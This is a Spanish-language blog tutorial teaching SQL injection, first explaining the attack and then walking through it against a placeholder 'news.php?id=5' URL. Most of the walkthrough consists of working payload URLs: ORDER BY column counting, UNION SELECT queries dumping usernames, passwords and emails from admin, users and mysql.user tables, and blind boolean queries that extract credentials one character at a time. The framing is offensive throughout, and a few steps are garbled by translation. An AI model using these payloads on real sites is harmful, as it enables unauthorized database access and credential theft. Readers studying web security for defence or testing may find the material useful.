NeosLab.com
Explotación

Tutorial de Inyección SQL para Principiantes

SQL Injection (SQLi) se refiere a un ataque de inyección en el que un atacante puede ejecutar sentencias SQL maliciosas (también comúnmente denominadas cargas maliciosas) que controlan el servidor de bases de datos de una aplicación web (también conocido como Sistema de administración de bases de datos relacionales- RDBMS). Dado que una vulnerabilidad de Inyección SQL podría afectar a cualquier sitio web o aplicación web que utilice una base de datos basada en SQL, esta vulnerabilidad es una de las más antiguas, más prevalentes y más peligrosas de las vulnerabilidades de las aplicaciones web.

Al aprovechar una vulnerabilidad de Inyección SQL, dadas las circunstancias correctas, un atacante puede usarla para eludir los mecanismos de autenticación y autorización de una aplicación web y recuperar el contenido de una base de datos completa. La inyección SQL también se puede usar para agregar, modificar y eliminar registros en una base de datos, lo que afecta la integridad de los datos.

Hasta tal punto, SQL Injection puede proporcionar a un atacante el acceso no autorizado a datos confidenciales, incluidos datos de clientes, información de identificación personal (PII), secretos comerciales, propiedad intelectual y otra información confidencial.

¿QUÉ ES LO PEOR QUE UN ATACANTE PUEDE HACER CON SQL?

SQL es un lenguaje de programación diseñado para administrar datos almacenados en un RDBMS, por lo tanto SQL se puede usar para acceder, modificar y eliminar datos. Además, en casos específicos, un RDBMS también podría ejecutar comandos en el sistema operativo desde una declaración de SQL.

Teniendo en cuenta lo anterior, al considerar lo siguiente, es más fácil entender qué tan lucrativo puede ser un ataque de inyección SQL exitoso para un atacante.

  • Un atacante puede usar SQL Injection para eludir la autenticación o incluso suplantar a usuarios específicos.
  • Una de las principales funciones de SQL es seleccionar datos basados en una consulta y generar el resultado de esa consulta. Una vulnerabilidad de inyección SQL podría permitir la divulgación completa de los datos que residen en un servidor de base de datos.
  • Dado que las aplicaciones web usan SQL para alterar los datos dentro de una base de datos, un atacante podría usar la Inyección SQL para alterar los datos almacenados en una base de datos. La alteración de los datos afecta la integridad de los mismos y podría causar problemas de reputación, por ejemplo, problemas como anulación de transacciones, alteración de saldos y otros registros.
  • SQL se usa para eliminar registros de una base de datos. Un atacante podría usar una vulnerabilidad de inyección de SQL para eliminar datos de una base de datos. Incluso si se emplea una estrategia de respaldo adecuada, la eliminación de datos podría afectar la disponibilidad de una aplicación hasta que se restaure la base de datos.
  • Algunos servidores de bases de datos están configurados (intencionalmente o no) para permitir la ejecución arbitraria de comandos del sistema operativo en el servidor de la base de datos. Dadas las condiciones adecuadas, un atacante podría usar la Inyección SQL como el vector inicial en un ataque de una red interna que se encuentra detrás de un firewall.
ANATOMÍA DE UN ATAQUE DE INYECCIÓN SQL

Una Inyección SQL necesita solo dos condiciones para existir — una base de datos relacional que usa SQL y una entrada controlable por el usuario que se use directamente en una consulta SQL.

Los errores son muy útiles para los desarrolladores durante el desarrollo, pero si están habilitados en un sitio en vivo, pueden revelar mucha información a un atacante. Los errores de SQL tienden a ser descriptivos hasta el punto de que es posible que un atacante obtenga información sobre la estructura de la base de datos y, en algunos casos, incluso enumerar una base de datos completa simplemente extrayendo información de los mensajes de error. Se hace referencia a esta técnica como inyección SQL basada en errores. Hasta tal punto, los errores de la base de datos deberían ser deshabilitados en un sitio en vivo, o ingresados en un archivo con acceso restringido.

Otra técnica común para exfiltrar datos es aprovechar el operador UNION SQL, lo que permite a un atacante combinar los resultados de dos o más sentencias SELECT en un único resultado. Esto fuerza a la aplicación a devolver datos dentro de la respuesta HTTP; esta técnica se conoce como Inyección SQL basada en la unión.

Fuente: acunetix.com


BLIND SQL INJECTION (LA PARTE MAS DIFICIL)

Empecemos con algo de acción.

Verifica la vulnerabilidad.

Digamos que tenemos un sitio como este.

http://server/news.php?id=5

Ahora para probar si es vulnerable, agregamos al final de url ‘(cita), y eso sería:

http://server/news.php?id=5'

Entonces, si obtenemos algún error como:

“Usted tiene un error en su sintaxis de SQL, consulte el manual que corresponde a su versión de servidor MySQL para la derecha, etc …” o algo similar que significa que es vulnerable a la inyección de SQL.

Encuentra la cantidad de columnas

Para encontrar el número de columnas, usamos la instrucción ORDER BY (le dice a la base de datos cómo ordenar el resultado) para saber cómo usarla. Bueno, simplemente incrementando el número hasta que obtengamos un error.

http://server/news.php?id=5 order by 1/* <-- no error
http://server/news.php?id=5 order by 2/* <-- no error
http://server/news.php?id=5 order by 3/* <-- no error
http://server/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

Eso significa que tiene 3 columnas, porque tenemos un error en 4.

Compruebe la función de UNION

Con la unión podemos seleccionar más datos en una declaración SQL. Entonces tenemos:

http://server/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

Si vemos algunos números en la pantalla, es decir 1 o 2 o 3, entonces la UNIÓN funciona.

Verificar la versión de MySQL

http://server/news.php?id=5 union all select 1,2,3/*

NOTA: Si /* no funciona o si obtiene algún error, intente con “-” es un comentario y es importante que nuestra consulta funcione correctamente.

Digamos que tenemos el número 2 en la pantalla, ahora para verificar la versión reemplazamos el número 2 con @@versión o versión() y obtenemos algo como 4.1.33-log o 5.0.45 o similar.

http://server/news.php?id=5 union all select 1,@@version,3/*

Si obtiene un error “unión + mezcla ilegal de intercalaciones (IMPLICIT + COERCIBLE)…”, lo que tendrá que hacer es usar la función <iconvert() como se muestra en el ejemplo siguiente.

Ejemplo:

http://server/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

O con hex() y unhex()

Ejemplo:

http://server/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

Y obtendrás la versión de MySQL.

Obtener la tabla y el nombre de la columna

Si la versión de MySQL es <5 (ejemplo, 4.1.33, 4.1.12 …), debemos adivinar el nombre de tabla y columna en la mayoría de los casos. Los nombres comunes de las tablas son: usuario/s, admin/s, miembro/s. Los nombres comunes de las tablas son: user/s, admin/s, member/s. Los nombres de columnas comunes son: username, user, usr, user_name, password, pass, passwd, pwd etc…

Ejemplo:

http://server/news.php?id=5 union all select 1,2,3 from admin/*

(Vemos el número 2 en la pantalla como antes, y eso está bien).

Obtenemos un nombre de usuario en la pantalla, por ejemplo, admin, o superadmin, etc.

Ahora para verificar si existe una contraseña de columna.

http://server/news.php?id=5 union all select 1,password,3 from admin/*

Hemos visto la contraseña en la pantalla en hash o texto sin formato, depende de cómo se configure la base de datos, es decir, md5 hash, mysql hash, sha1. Ahora debemos completar la consulta para que se vea bien. Para eso podemos usar la función concat() (une cadenas).

Ejemplo:

http://server/news.php?id=5 union all select1,concat(username,0x3a,password),3 from admin/*

NOTA: Usamos 0x3a, es un valor hexadecimal (0x3a es el valor hexadecimal de la columna). Otro método es usar char(58) en modo ascii.

http://server/news.php?id=5 union all select 1,concat (username,char(58), password),3 from admin/*

Ahora tenemos username:password: en la pantalla, es decir admin:admin o admin:somehash cuando tienes esto, puedes iniciar sesión como administrador o como superusuario. Si no puede adivinar el nombre correcto de la tabla, siempre puede probar “mysql.user”, como se muestra en el siguiente ejemplo:

http://server/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

MySQL 5

Para esto necesitamos la tabla “information_schema”. Contiene toda la arquitectura de tablas y columnas de la base de datos. Para obtener las tablas usamos “table_name” y “information_schema.tables”.

Ejemplo:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

Aquí reemplazamos el número 2 con “table_name” para obtener la primera tabla de “informa-tion_schema.tables” que se muestran en la pantalla. Además, necesitaremos agregar LIMIT al final de la consulta para ver las tablas.

Ejemplo:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

NOTA: Ponemos 0,1 (para obtener 1 resultado empezando desde el 0) ahora para ver la segunda tabla, cambiamos “límite 0,1” por “límite 1,1”.

Ejemplo:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

La segunda tabla se muestra. Si quieres hacer lo mismo para la tercera mesa, sigamos usando: “límite 2,1”

Ejemplo:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Sigue incrementándote hasta que obtengas algunos útiles como db_admin, poll_user, auth, auth_user, etc…

Para obtener los nombres de las columnas, el método es similar. Aquí usamos “column_name” y “infor-mation_schema.columns” como en el siguiente ejemplo:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

La primera columna se muestra así que para avanzar más y recuperar el segundo necesitaremos una vez más cambiar “límite 0,1” a “límite 1,1”.

Ejemplo:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

Se muestra la segunda columna, así que sigue incrementándola hasta que obtengas algo como nombre de usuario, usuario, inicio de sesión, contraseña, pass, contraseña, etc. Si deseas mostrar los nombres de las columnas para una tabla específica, utiliza la siguiente consulta:

Ejemplo:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

Ahora aparece el nombre de la columna en los usuarios de la tabla. Tenga en cuenta que esto no funcionará si las comillas mágicas están activadas. Digamos que encontramos columnas user, pass y email, ahora para completar la consulta, las ponemos todas juntas y para eso usaremos concat().

Ejemplo:

http://server/news.php?id=5 union all select 1, concat(user,0x3a,pass,0x3a,email) from users/*

Del ejemplo anterior, obtendremos el user:pass:email de los usuarios de la tabla.

BLIND SQL INJECTION

La inyección Blind es un poco más complicada que la inyección clásica, pero puede ser con la siguiente metodología. Primero debemos verificar si el sitio web es vulnerable o no.

Una consulta normal debería ser según el siguiente ejemplo.

http://server/news.php?id=5 and 1=1 <-- this is always true

Ahora, para verificar si el sitio web está sujeto a la inyección Blind de SQL simplemente cambie “1” por “2”.

http://server/news.php?id=5 and 1=2 <-- this is false

Si su página se devuelve con algún contenido faltante, como texto o imágenes, simplemente significa que la página es vulnerable a la inyección Blind de SQL.

Obtener la versión de MySQL

Para obtener la versión de MySQL en un ataque Blind usamos subcadena.

Ejemplo:

http://server/news.php?id=5 and substring(@@version,1,1)=4

La consulta anterior debería devolver TRUE si la versión de MySQL es “4”. Reemplace “4” por “5”, y si la consulta devuelve TRUE, podemos entender que la versión actual de MySQL es “5”.

Ejemplo:

http://server/news.php?id=5 and substring(@@version,1,1)=5
PROBAR SI LA SUBSELECCIÓN FUNCIONA

En algunos casos, la función “seleccionar” no funciona. En tal caso, podemos usar “subselección” como alternativa.

Ejemplo:

http://server/news.php?id=5 and (select 1)=1

Si la página se carga correctamente, la función “subselects” está funcionando. El próximo paso será ver si podemos obtener acceso a “mysql.user”.

Ejemplo:

http://server/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

Si la página se carga correctamente, significa que tenemos acceso a “mysql.user”. De acuerdo con esta última consulta podemos si queremos utilizar este acceso para extraer, por ejemplo, alguna contraseña, usar la función load_file() y OUTFILE.

VER LOS NOMBRES DE LAS TABLAS Y COLUMNAS

Esta es la parte donde adivinar y buscar en Google será tu mejor amigo.

Ejemplo:

http://server/news.php?id=5 and (select 1 from users limit 0,1)=1

En el ejemplo anterior, usando “límite 0.1” nuestra consulta devolverá “1 fila de datos”. Entonces, si la página se carga normalmente sin que falte contenido, eso significa simplemente que se ha encontrado la tabla de “usuarios”. Si obtienes FALSE, como algún contenido faltante en la página, simplemente cambia el nombre de la tabla hasta que adivines cuál es la correcta.

Ahora digamos que hemos encontrado que el nombre de la tabla es “users”, el próximo paso será encontrar el nombre de la columna usando la misma metodología exacta que antes. Comenzaremos con un nombre común como “password”.

Ejemplo:

http://server/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

Si la página se carga correctamente, ahora sabemos que el nombre de la columna es “password”. Si obtenemos FALSE, intente con otros nombres comunes. En el ejemplo anterior, fusionamos “1” con la columna “password”, luego la función substring() devuelve el primer carácter.

EXTRAER DATOS DE LA BASE DE DATOS

Digamos que definitivamente encontramos la tabla “users” y las columnas “username” y “password”. Ahora es el momento de usarlo para extraer información relevante.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

Con la consulta anterior, la función substring() devolverá el primer carácter del primer usuario en la tabla “users”. El ascii() convierte ese primer carácter en valor ascii y luego lo compara con el símbolo mayor que “>”.

Bueno, en este paso ya entiendes que, si el carácter ascii es mayor que 80, la página se cargará correctamente. Tendremos que continuar hasta que obtengamos falso.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

Una vez más obtenemos VERDADERO seguiremos incrementando.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

Nos ponemos VERDADERO de nuevo, continuemos.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

¡Tenemos FALSO! Hemos terminado. Ahora encontramos que el primer caracter en nombre de usuario es char(99). Utilizando el convertidor ascii podemos comprender fácilmente que char(99) es la letra ‘c’.

Pasaremos ahora al segundo carácter.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

NOTA: Para continuar con el segundo carácter, hemos cambiado “, 1,1” a “, 2,1”.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Igual que antes, si obtenemos TRUE entonces debemos continuar incrementando.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

Obtenemos FALSE, intentemos con un número menor.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

Nos ponemos VERDADEROS, entonces vamos a probar uno más grande.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

¡Finalmente nos volvemos FALSO! Hemos terminado para el segundo carácter. Ahora descubrimos que el segundo carácter es char(105) y de nuevo usando el convertidor ascii, podemos entender fácilmente que char(105) es la letra “i”.

La parte más difícil de esta metodología es el tiempo que necesitará para recuperar el nombre de usuario completo o la cadena que desee encontrar.

Fuente: exploit-db.com

Artículos Relacionados

Como Usar SQLmap para Principiantes

neoslab

Cómo Aprovechar la Vulnerabilidad Shellshock CVE 2014-6271

neoslab

Cómo Crear un Reverse Shell

neoslab

Deja un comentario

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link